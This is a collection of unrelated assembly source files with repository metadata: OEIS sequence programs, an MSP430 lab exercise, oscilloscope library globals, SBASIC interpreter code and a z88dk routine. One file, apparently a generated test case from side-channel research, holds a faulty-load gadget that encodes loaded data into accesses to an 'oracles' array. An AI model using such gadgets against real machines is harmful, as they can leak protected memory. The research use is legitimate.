; A024869: a(n) = s(1)t(n) + s(2)t(n-1) + ... + s(k)t(n-k+1), where k = floor( n/2 ), s = natural numbers >= 2, t = natural numbers >= 3.
; 8,10,27,32,61,70,114,128,190,210,293,320,427,462,596,640,804,858,1055,1120,1353,1430,1702,1792,2106,2210,2569,2688,3095,3230,3688,3840,4352,4522,5091,5280,5909,6118,6810,7040,7798,8050,8877,9152,10051,10350,11324,11648,12700,13050,14183,14560,15777,16182,17486,17920,19314,19778,21265,21760,23343,23870,25552,26112,27896,28490,30379,31008,33005,33670,35778,36480,38702,39442,41781,42560,45019,45838,48420,49280,51988,52890,55727,56672,59641,60630,63734,64768,68010,69090,72473,73600,77127,78302
add $0,1
lpb $0
mov $2,$0
add $3,1
add $4,$0
sub $0,$3
trn $0,1
add $2,$4
add $2,5
add $1,$2
add $1,1
add $4,4
trn $3,$4
lpe
mov $0,$1
| 41.736842
| 496
| 0.68348
|
33c5c4bc86fa8677b9bd6c23fcfc16b10e4b3d92
| 356
|
asm
|
Assembly
|
oeis/075/A075184.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/075/A075184.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/075/A075184.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A075184: One half of fourth column of triangle A075181.
; Submitted by Christian Krause
; 3,50,675,8820,117600,1632960,23814000,365904000,5927644800,101189088000,1818030614400,34326452160000,679990671360000,14108934647808000,306113492805120000,6933770723303424000
mov $1,$0
add $0,2
seq $1,1806 ; a(n) = n! * binomial(n,4).
div $1,$0
mov $0,$1
div $0,4
| 32.363636
| 175
| 0.772472
|
d35fe9061a653d947e3b37b10dce862dee05ca7b
| 2,224
|
asm
|
Assembly
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_1_2042.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_1_2042.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_1_2042.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
// Store
lea addresses_US+0x1bc36, %rbp
nop
nop
dec %rcx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm2
movups %xmm2, (%rbp)
nop
nop
xor $10807, %rcx
// Store
lea addresses_WC+0x862e, %rdx
nop
nop
nop
nop
xor %rbp, %rbp
mov $0x5152535455565758, %rbx
movq %rbx, %xmm6
vmovups %ymm6, (%rdx)
nop
nop
cmp $34749, %rdi
// Store
lea addresses_D+0x7b76, %rdi
nop
nop
nop
nop
nop
and $47718, %rbp
movw $0x5152, (%rdi)
nop
and $52388, %rdx
// Load
lea addresses_WC+0x18876, %rdx
nop
nop
dec %rdi
mov (%rdx), %r11
nop
nop
nop
nop
nop
sub %rcx, %rcx
// Store
lea addresses_normal+0x13436, %r11
sub %rdi, %rdi
movl $0x51525354, (%r11)
nop
nop
nop
nop
and %rdi, %rdi
// Store
lea addresses_UC+0x6436, %rdi
dec %rbx
movw $0x5152, (%rdi)
nop
nop
nop
nop
nop
inc %rbx
// Faulty Load
lea addresses_US+0x1bc36, %rdi
nop
nop
nop
nop
sub %rdx, %rdx
movups (%rdi), %xmm7
vpextrq $1, %xmm7, %r11
lea oracles, %rbp
and $0xff, %r11
shlq $12, %r11
mov (%rbp,%r11,1), %r11
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'00': 1}
00
*/
| 18.081301
| 126
| 0.639388
|
74271c94fd412e7379f230be41f2d9c80b4dfb6b
| 2,695
|
asm
|
Assembly
|
lab5/Lab0005-1/main.asm
|
Inscrupulous/MSP430
|
b752776fca3829318da30b1b96809b61f9309289
|
[
"BSD-3-Clause"
] | null | null | null |
lab5/Lab0005-1/main.asm
|
Inscrupulous/MSP430
|
b752776fca3829318da30b1b96809b61f9309289
|
[
"BSD-3-Clause"
] | null | null | null |
lab5/Lab0005-1/main.asm
|
Inscrupulous/MSP430
|
b752776fca3829318da30b1b96809b61f9309289
|
[
"BSD-3-Clause"
] | null | null | null |
;-------------------------------------------------------------------------------
; File: main.asm (CPE 325 Lab 5)
; Function: Uses the stack to push the address of a certain array and calls calc_power subroutine
; Input: num, hw_array, sw_array
; Output: none
; Author: Tyler Phillips
; Date: 09/22/20
;-------------------------------------------------------------------------------
; MSP430 Assembler Code Template for use with TI Code Composer Studio
;
;
;-------------------------------------------------------------------------------
.cdecls C,LIST,"msp430.h" ; Include device header file
;-------------------------------------------------------------------------------
.def RESET ; Export program entry-point to
; make it known to linker.
;-------------------------------------------------------------------------------
.text ; Assemble into program memory.
.retain ; Override ELF conditional linking
; and retain current section.
.retainrefs ; And retain any sections that have
.data
num: .int 2
hw_arr: .usect ".bss", 5*2
sw_arr: .usect ".bss", 5*2
; references to current section.
.ref calc_power
;-------------------------------------------------------------------------------
RESET mov.w #__STACK_END,SP ; Initialize stackpointer
StopWDT mov.w #WDTPW|WDTHOLD,&WDTCTL ; Stop watchdog timer
;-------------------------------------------------------------------------------
; Main loop here
;-------------------------------------------------------------------------------
main:
push num ;put number in R4
push #sw_arr ;push address of first array into the stack
push #hw_arr ;push address of second array into the stack
call #calc_power ;call subroutine
jmp $ ;infinite loop
nop ;get results after one clock cycle
;-------------------------------------------------------------------------------
; Stack Pointer definition
;-------------------------------------------------------------------------------
.global __STACK_END
.sect .stack
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".reset" ; MSP430 RESET Vector
.short RESET
| 46.465517
| 98
| 0.338033
|
e7dd4fbb6749d4acf3832f4c39322eca4e025f73
| 2,982
|
asm
|
Assembly
|
library/globals.asm
|
SamantazFox/dds140-reverse-engineering
|
4c8c286ffc20f2ee07061c83b0a0a68204d90148
|
[
"Unlicense"
] | 1
|
2021-06-05T23:41:15.000Z
|
2021-06-05T23:41:15.000Z
|
library/globals.asm
|
SamantazFox/dds140-reverse-engineering
|
4c8c286ffc20f2ee07061c83b0a0a68204d90148
|
[
"Unlicense"
] | null | null | null |
library/globals.asm
|
SamantazFox/dds140-reverse-engineering
|
4c8c286ffc20f2ee07061c83b0a0a68204d90148
|
[
"Unlicense"
] | null | null | null |
; Read only data
;
ds:0x1000d180 ; (dword) 00 00 00 00 00 00 f0 41
; (double) 4294967296.0 (2^32)
; https://reverseengineering.stackexchange.com/questions/16363/
; _const_pow2_32
ds:0x1000d188 ; (dword) 00 00 00 00 00 00 80 40
; (double) 512.0
; _const_512
ds:0x1000d190 ; (dword) 00 00 00 00 00 00 10 40
; (double) 4.0
; _const_4
ds:0x1000d198 ; (dword) 00 00 00 00 00 00 00 40
; (double) 2.0
; _const_2
ds:0x1000d1a0 ; (dword) 00 00 00 00 00 00 79 40
; (double) 400.0
; _const_400
; Global variables
;
ds:0x10010000 ; [4] / _global_DeviceHandle
; WINUSB_PIPE_INFORMATION structure
ds:0x10011000 ; [4] / _global_PipeType
ds:0x10011004 ; [1] / _global_PipeId
ds:0x10011005 ; [2] / _global_MaximumPacketSize
ds:0x10011007 ; [1] / _global_Interval
ds:0x10015210 ; [4] / _global_InterfaceHandle
ds:0x10015214 ; [1] / _global_Device_Speed
ds:0x10015215 ; [1] / _global_BulkIn_PipeID
ds:0x10015216 ; [1] / _global_BulkOut_PipeID
ds:0x10015217 ; [1] / _global_Interrupt_PipeID
ds:0x1001522c ; _global_1001522c (initialization flag?)
ds:0x10015df8 ; _global_cpu_sopports_SSE2
ds:0x10016000 ; [8] / _global_CH1_FreqValue (kHz)
ds:0x10016008 ; [1] / _global_CH1_MaxValue (V)
ds:0x10016009 ; [1] / _global_CH1_MinValue (V)
ds:0x1001600a ; [1] / _global_CH1_PPValue (V)
ds:0x1001600b ; [1] / _global_CH1_AverageValue (V)
ds:0x10016010 ; [8] / _global_CH1_PeriodValue (us)
ds:0x10016018 ; [8] / _global_CH1_RiseTimeValue (us)
ds:0x10016020 ; [8] / _global_CH1_PosWidthValue (us)
ds:0x10016028 ; [8] / _global_CH1_NegWidthValue (us)
ds:0x10016030 ; [8] / _global_CH1_DutyValue (%)
ds:0x10016038 ; [8] / _global_CH2_FreqValue (kHz)
ds:0x10016040 ; [1] / _global_CH2_MaxValue (V)
ds:0x10016041 ; [1] / _global_CH2_MinValue (V)
ds:0x10016042 ; [1] / _global_CH2_PPValue (V)
ds:0x10016043 ; [1] / _global_CH2_AverageValue (V)
ds:0x10016044 ; [4] / _global_ZrroUniInt (V?)
ds:0x10016048 ; [8] / _global_CH2_PeriodValue (us)
ds:0x10016050 ; [8] / _global_CH2_RiseTimeValue (us)
ds:0x10016058 ; [8] / _global_CH2_PosWidthValue (us)
ds:0x10016060 ; [8] / _global_CH2_NegWidthValue (us)
ds:0x10016068 ; [8] / _global_CH2_DutyValue (%)
ds:0x10016074 ; _global_BufferOffset
ds:0x10016078 ; _global_currentSampleRate
ds:0x10016080 ; [1] / _global_TrigSourceChan
ds:0x10016081 ; [1] / _global_TrigMode
ds:0x10016082 ; [1] / _global_TrigEdgeFlag
ds:0x10016083 ; [1] / _global_ReadEnable
ds:0x10016084 ; [4] / _global_HWbuffer_size
ds:0x10016088 ; [4] / _global_HWbuffer_ptr
ds:0x1001608c ; _global_ChannelMask
ds:0x10016090 ; _global_dataNumPerPixar
ds:0x10016098 ; __UNKNOWN__
ds:0x1001609c ; [1] / _global_ReadEnable
| 34.674419
| 78
| 0.653588
|
4dc70065daa1f74b150f25f88c0c7cf837828f29
| 672
|
asm
|
Assembly
|
oeis/101/A101624.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/101/A101624.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/101/A101624.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A101624: Stern-Jacobsthal numbers.
; Submitted by Jon Maiga
; 1,1,3,1,7,5,11,1,23,21,59,17,103,69,139,1,279,277,827,273,1895,1349,2955,257,5655,5141,14395,4113,24679,16453,32907,1,65815,65813,197435,65809,460647,329029,723851,65793,1512983,1381397,3881019,1118225,6774887,4538437,9142411,65537,18219287,18088213,54002491,17826065,123733863,88081733,192940939,16777473,369104407,335549461,939538491,268439569,1610637415,1073758277,2147516555,1,4295033111,4295033109,12885099323,4295033105,30065231719,21475165509,47245364107,4295033089,98785760791,90195694613
add $0,1
lpb $0
sub $0,1
mul $1,2
mov $3,$2
add $2,1
bin $3,$0
mod $3,2
add $1,$3
lpe
mov $0,$1
| 42
| 498
| 0.778274
|
b2932a4a30ec0ac60a985ab0235c93e3ce8158bd
| 5,344
|
asm
|
Assembly
|
smsq/sbas/putp.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
smsq/sbas/putp.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
smsq/sbas/putp.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
; Put parameters - QL / SBASIC Compatible V2.00 1994 Tony Tebby
section uq
xdef sb_putp
xref sb_aldat
xref sb_redat
xref sb_aldatl
xref sb_redatl
; xref mem_alhp
; xref mem_rehp
include 'dev8_keys_err'
include 'dev8_keys_err4'
include 'dev8_keys_sbasic'
include 'dev8_mac_assert'
;+++
; Put Parameter
;
; d1/d2/d3/a0/a1/a2 smashed
; a1 r arith stack pointer after item removed
; a3 c p pointer to parameter
;
; status return standard
;---
sb_putp
move.l sb_arthp(a6),a1
add.l a6,a1
move.l nt_value(a6,a3.l),a0 ; existing allocation
move.l sb_datab(a6),a2
add.l a6,a2 ; offsets for addresses
add.l a2,a0
move.b nt_nvalp(a6,a3.l),d1 ; usage
move.w #1<<nt.var+1<<nt.rep+1<<nt.for,d0
btst d1,d0
bne.s spp_type ; ... ok, it's a variable
subq.b #nt.arr,d1 ; array
beq.s spp_array ; ... yes
addq.b #nt.arr,d1 ; unset?
beq.s spp_var ; ... yes, set to var
bra.s spp_basg ; ... no
spp_array
add.l (a0)+,a2 ; pointer to value
cmp.w #1,(a0)+ ; one dim?
bne.s spp_basg ; ... no
moveq #$f,d0
and.b nt_vtype(a6,a3.l),d0
subq.b #nt.st,d0 ; string?
beq.l spp_stra ; ... yes, assign to it
blt.l spp_sstra ; ... substring is even easier
spp_basg
move.l #err4.basg,d0
rts
spp_var
tst.w nt_usetp(a6,a3.l) ; is it null?
beq.s spp_done ; ... yes, do not assign
move.b #nt.var,nt_nvalp(a6,a3.l) ; it is a variable now
spp_type
moveq #$f,d0
and.b nt_vtype(a6,a3.l),d0 ; variable type
subq.w #nt.fp,d0 ; most common type of variable
blt.s spp_str
bgt.s spp_in
spp_fp
move.l (a1)+,(a0)+
spp_in
move.w (a1)+,(a0)
spp_done
sub.l a6,a1
move.l a1,sb_arthp(a6) ; reset arith stack
moveq #0,d0
rts
spps_newall
move.l a2,-(sp) ; save offset on allocate
bra.s spps_alloc
spp_str
move.w (a1)+,d2 ; length of string
cmp.l #sb.flag,sb_flag(a6) ; SBASIC?
beq.s spps_cksb ; ... yes
; OLD style SuperBASIC for QLIBERATOR
moveq #2+7,d1 ; ... no, allocation is just string
add.w d2,d1
and.w #$fff8,d1 ; new string allocation
move.l a0,d0 ; any old allocation?
bmi.s spps_newall ; ... no
moveq #2+7,d0
add.w (a0),d0
and.w #$fff8,d0 ; old string allocation
cmp.w d0,d1
beq.s spps_set ; ... it's OK
move.l a2,-(sp)
move.w d1,-(sp)
move.l d0,d1
jsr sb_redatl ; release allocation
move.w (sp)+,d1
spps_alloc
jsr sb_aldatl ; allocate
move.l a0,d0 ; new allocation
sub.l (sp)+,d0
move.l d0,nt_value(a6,a3.l)
bra.s spps_set
; moveq #2+7,d1 ; ... no, allocation is just string
; add.w d2,d1
; and.w #$fff8,d1 ; new string allocation
; move.l a0,d0 ; any old allocation?
; bmi.s spps_alloc ; ... no
; moveq #2+7,d0
; add.w (a0),d0
; and.w #$fff8,d0 ; old string allocation
; cmp.w d0,d1
; beq.s spps_set ; ... it's OK
; move.l a1,-(sp)
; move.l d1,-(sp)
; move.l d0,d1
; lea sb_frdat(a6),a1
; jsr mem_rehp ; return heap
; move.l (sp)+,d1
; move.l (sp)+,a1
;
;spps_alloc
; lea sb_frdat(a6),a0 ; free space link
; jsr mem_alhp ; allocate
;
; move.l a0,d0 ; new allocation
; sub.l a2,d0
; move.l d0,nt_value(a6,a3.l)
; bra.s spps_set
spps_cksb
moveq #dt_stchr-dt_stalc+7,d1 ; add 6 bytes and round up
add.w d2,d1
and.w #$fff8,d1 ; to multiple of 8
cmp.w dt_stalc(a0),d1 ; variable allocation, enough?
bls.s spps_set
move.l a0,d3 ; save old base of allocation
jsr sb_aldat ; allocate hole
assert dt_stalc+4,dt_flstr+1,dt_stlen
move.w d1,(a0)+ ; allocation
move.w #$00ff,(a0)+ ; flags
move.l a0,nt_value(a6,a3.l) ; where the item is
exg a0,d3
subq.l #-dt_stalc,a0
move.w (a0),d1
jsr sb_redat ; release old allocation
move.l d3,a0
spps_set
move.w d2,(a0)+ ; length
beq.s spss_done
spps_copy
move.w (a1)+,(a0)+ ; copy bytes
subq.w #2,d2 ; two at a time
bgt.s spps_copy
spss_done
bra spp_done
spp_stra
exg a0,a2 ; a0 is destination , a2 descriptor
moveq #0,d2
move.w (a1)+,d2 ; length of string
move.w (a2)+,d1 ; the last dimension
cmp.w d1,d2 ; truncate?
bls.s spsa_set ; ... no
addq.w #1,d2 ; round up
bclr #0,d2
add.l a1,d2 ; for reset stack
move.w d1,(a0)+ ; length
beq.s spsa_done
spsa_tcopy
move.w (a1)+,(a0)+ ; copy bytes
subq.w #2,d1 ; two at a time
bgt.s spsa_tcopy
spsa_done
move.l d2,a1 ; and set stack
bra spp_done
spsa_set
sub.w d2,d1 ; trailing spaces
move.w #' ',d0 ; space chars
move.w d2,(a0)+ ; length
addq.w #2,d2
bra.s spsa_ecopy
spsa_copy
move.w (a1)+,(a0)+ ; copy bytes
spsa_ecopy
subq.w #2,d2 ; two at a time
bgt.s spsa_copy
beq.s spsa_efill ; fill
move.b d0,-1(a0) ; blat the last char
bra.s spsa_efill
spsa_fill
move.w d0,(a0)+ ; and fill with spaces
spsa_efill
subq.w #2,d1
bge.s spsa_fill
bra spp_done
spp_sstra
moveq #0,d2
move.w (a1)+,d2 ; length of string to assign
move.w (a0),d1 ; length of substring
move.l a1,a0 ; copy from here
moveq #1,d0
and.w d2,d0
add.w d2,d0 ; rounded up
add.l d0,a1 ; stack pointer
sub.w d1,d2 ; long enough?
bge.s spss_cple ; ... yes
add.w d2,d1 ; bytes of ss to copy
bra.s spss_cple
spss_copy
move.b (a0)+,(a2)+ ; copy bytes
spss_cple
dbra d1,spss_copy
neg.w d2 ; any fill in?
ble spp_done ; ... no
spss_fill
move.b #' ',(a2)+ ; pad with spaces at end
subq.w #1,d2
bgt.s spss_fill
bra spp_done
end
| 20.956863
| 70
| 0.638099
|
257573b3673cf2c546a70fda990afa194505eb6e
| 432
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_insert_n_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_insert_n_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_insert_n_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; size_t b_array_insert_n(b_array_t *a, size_t idx, size_t n, int c)
SECTION code_clib
SECTION code_adt_b_array
PUBLIC b_array_insert_n_callee
EXTERN asm_b_array_insert_n
b_array_insert_n_callee:
pop hl
pop de
ld a,e
pop de
pop bc
ex (sp),hl
jp asm_b_array_insert_n
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _b_array_insert_n_callee
defc _b_array_insert_n_callee = b_array_insert_n_callee
ENDIF
| 15.428571
| 68
| 0.782407
|
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